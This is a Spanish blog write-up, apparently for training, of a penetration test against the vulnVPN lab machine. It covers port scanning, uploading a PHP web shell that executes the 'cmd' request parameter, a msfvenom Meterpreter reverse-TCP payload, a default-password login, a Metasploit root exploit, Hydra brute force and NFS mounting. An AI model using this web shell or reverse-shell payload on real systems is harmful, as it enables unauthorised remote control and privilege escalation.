sábado, 4 de enero de 2014

El rincón de HighSec: Cómo vulnerar una VPN (Parte II)

Compartir este artículo:
Buenas a todos! En el anterior post de esta serie vimos como era posible sacar la clave para conectarse a la VPN y una vez dentro como podíamos escanear los host que hubiera en la red. En este nuevo post vamos a continuar viendo como avanzar en el proceso de pentesting sobre la VPN.
Como ya vimos teniamos dos host, nosotros (10.99.99.2) y otra IP (10.99.99.1) que es la IP del servidor VPN pero interna, por lo que realizaríamos un escaneo sobre dicha IP para segir auditando el servidor, aunque ahora desde la red interna.
nmap -A 10.99.99.1 -p1-65355
Al obtener los resultados vemos que nos muestra gran cantidad de puertos abiertos, sobre los primeros que miraríamos seria ver que tiene en el puerto 80 y 10000 donde hay servicios web corriendo.
vpn2_1
Vemos que el puerto 80 no contiene nada y en el 10000 hay que conectarse por HTTPS por lo que realizamos la conexión y vemos que lo que nos pide es una autenticación.
En el puerto 80…
vpn2_2
En el puerto 10000 por HTTP…
vpn2_3
 En el puerto 10000 por HTTPS…
vpn2_4
vpn2_5
 Como lo primero que vamos a analizar son los servicios 80 y 10000, lo lógico sería comprobar si somos capaces de encontrar algunos archivos o directorios interesantes, para lo que podríamos utilizar DirBuster que ira comprobando si los directorios de una lista se encuentran en el host. Por lo que abrimos el programa y ponemos la siguiente configuración (En mi caso utilizo Kali):
vpn2_6
 Una vez termina vemos que hemos encontrado una gran cantidad de directorios y archivos cuando a simple vista no había nada.
vpn2_8
 Sin duda uno de los directorios que nos llama la atención seria el de WordPress, por lo que nos conectamos a el.
vpn2_7
 Vemos que tenemos un formulario donde podemos introducir cosas y… Mandar un fichero, por lo que podríamos probar si fuera posible subir una shell en PHP. Por ello creamos un fichero “shell.php” que contenga lo siguiente:
<?php
highlight_string(shell_exec($_REQUEST['cmd']));
?>
Esto nos permitirá ejecutar comandos mediante el parámetro ‘cmd’. Probamos a subir el archivo y… Nos deja perfectamente y sin problemas.
vpn2_9

vpn2_10
 Ahora tenemos que localizar donde la abra subido, pero eso es bastante sencillo en WordPress ya que todo lo sube en “/wp-content/uploads” por lo que nos conectamos.
vpn2_11
 vpn2_12

vpn2_13
 

vpn2_14 

vpn2_15
Y vemos como hay un archivo .php aunque con un nombre distinto por lo que comprobamos si es ese introduciendo como parámetro GET “cmd=ls” para realizar un ls sobre el directorio donde este el archivo y… Efectivamente es ese archivo, por lo tanto ahora seriamos capaces de ejecutar comandos en el propio servidor VPN aunque de una forma un tanto lenta, por lo que podríamos hacerlo mas fácil haciendo uso de Metasploit para subir una shell en condiciones. Para ello podríamos generar una shell de Meterpreter a través de un php de la siguiente manera:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.99.99.2 LPORT=4444 -f raw > meter.php
Tras crearlo solo tendríamos que poner a la escucha Metasploit y subir el archivo como ve muestra a continuación:
vpn2_16
 Y como podemos observar al pinchar sobre el archivo subido se nos abre la sesión de Meterpreter, donde ahora ya tenemos control del servidor como el usuario “www-data”.
vpn2_17
Ahora lo normal seria intentar hacerse con el control del servidor con un usuario mas privilegiado. Para ello abrimos una shell y comprobamos el contenido de “/etc/passwd” para comprobar que usuarios hay en el sistema.
vpn2_19
En este archivo vemos usuarios normales como por ejemplo root, pero otros mas personales como puede ser ‘bob’ y ‘jane’. Podríamos intentar escalar privilegios mediante Meterpreter pero como eso ya lo hemos hablado en la serie “Conociendo Meterpreter” vamos a centrarnos aquí en otros caminos. Uno de estos posibles caminos seria intentar encontrar la contraseña de alguno de los usuarios personales ya que al ser de “personas” podrían ser mas fácil de adivinar.
Para ello nos vamos al login que habíamos encontrado en el puerto 10000 y tras hacer algunas pruebas típicas descubrimos que la contraseña del usuario ‘bob’ es ‘bob’, lo cual aunque parezca mentira es muy común.
vpn2_21
Una vez logeados en el puerto 10000 como el usuario ‘bob’ conseguimos acceso a un panel web. Tras investigar un poco que seria lo normal al hacer un pentest veríamos si buscamos en Google o en Metasploit por el nombre del panel web veamos que tiene un exploit como vemos a continuación:
vpn2_22
Y si leemos las especificaciones comprobamos que dicho exploit nos proporcionaría acceso como “root” al sistema siempre y cuando tengamos una cuenta valida en el panel web, en nuestro caso ‘bob’, por lo que lo configuramos con Metasploit y lo lanzamos.
vpn2_23
vpn2_24
Como vemos tenemos acceso COMPLETO al servidor ya que somos “root”. Otra forma de haber llegado a conseguir acceso como “root” podría haber sido por ejemplo utilizar Hydra para sacar el usuario de bob mediante un diccionario como vemos a continuación:
vpn2_26
De esta otra forma ya tendríamos el login de ‘bob’, por lo que podríamos intentar comprobar si podemos montar una unidad de red NFS ya que al hacer el escaneo al host vemos que mediante RPCbind y mountd nos muestra el uso de NFS y los puertos. Para comprobar si podríamos montar la unidad utilizamos Metasploit de la siguiente manera:
vpn2_27
vpn2_28
vpn2_29
Y como podemos observar si que es posible, por lo que salimos de Metasploit y montamos el directorio:
mount 10.99.99.1:/home/bob /root/vulnvpn/ -o nolock
vpn2_30
Una vez echo esto podríamos comprobar todos los archivos que tendría el usuario en su directorio de la siguiente forma:
ls -lah
vpn2_31
Como vemos nos muestra un  par de cosas pero hay algo que puede llamarnos la atención, y es el propietario de la mayoría de los archivos, que es “4294967294″, si hacemos una búsqueda en Google vemos que es ‘nobody’, pero si tuviéramos un usuario exactamente igual que el sistema vulnerado, es decir con el mismo id seria posible que pudiéramos acceder a otras cosas al realizar el montado de la unidad, y mas importante, que tuviéramos permisos para introducir archivos por ejemplo.
Y hasta aquí llega el post de hoy y damos por finalizada la serie, donde hemos visto como seria posible tomar el control de un servidor VPN gracias a una mala configuración del portal web que estaba instalado en el mismo host, ya que hemos conseguido subir una shell gracias a haber encontrado que estaba instalado y mal configurado WordPress. Y por otro lado hemos explotado una vulnerabilidad en el administrador web gracias a que teníamos una cuenta no privilegiada. Como hemos visto hemos llegado a tener control del servidor VPN no solo mediante técnicas de ataque contra VPN, sino por cosas tan simples como que el mismo servidor aloje un WordPress o algún servicio mal configurado.
Esta serie seria también una posible solución a la maquina virtual vulnVPN aunque ni mucho menos la ultima ya que existirían muchas mas formas de poder entrar. Por ello os animo a que probéis ;-)
Un saludo,
Eduardo – eduardo@highsec.es – @_Hykeos

No hay comentarios:

Publicar un comentario en la entrada

Related Posts Plugin for WordPress, Blogger...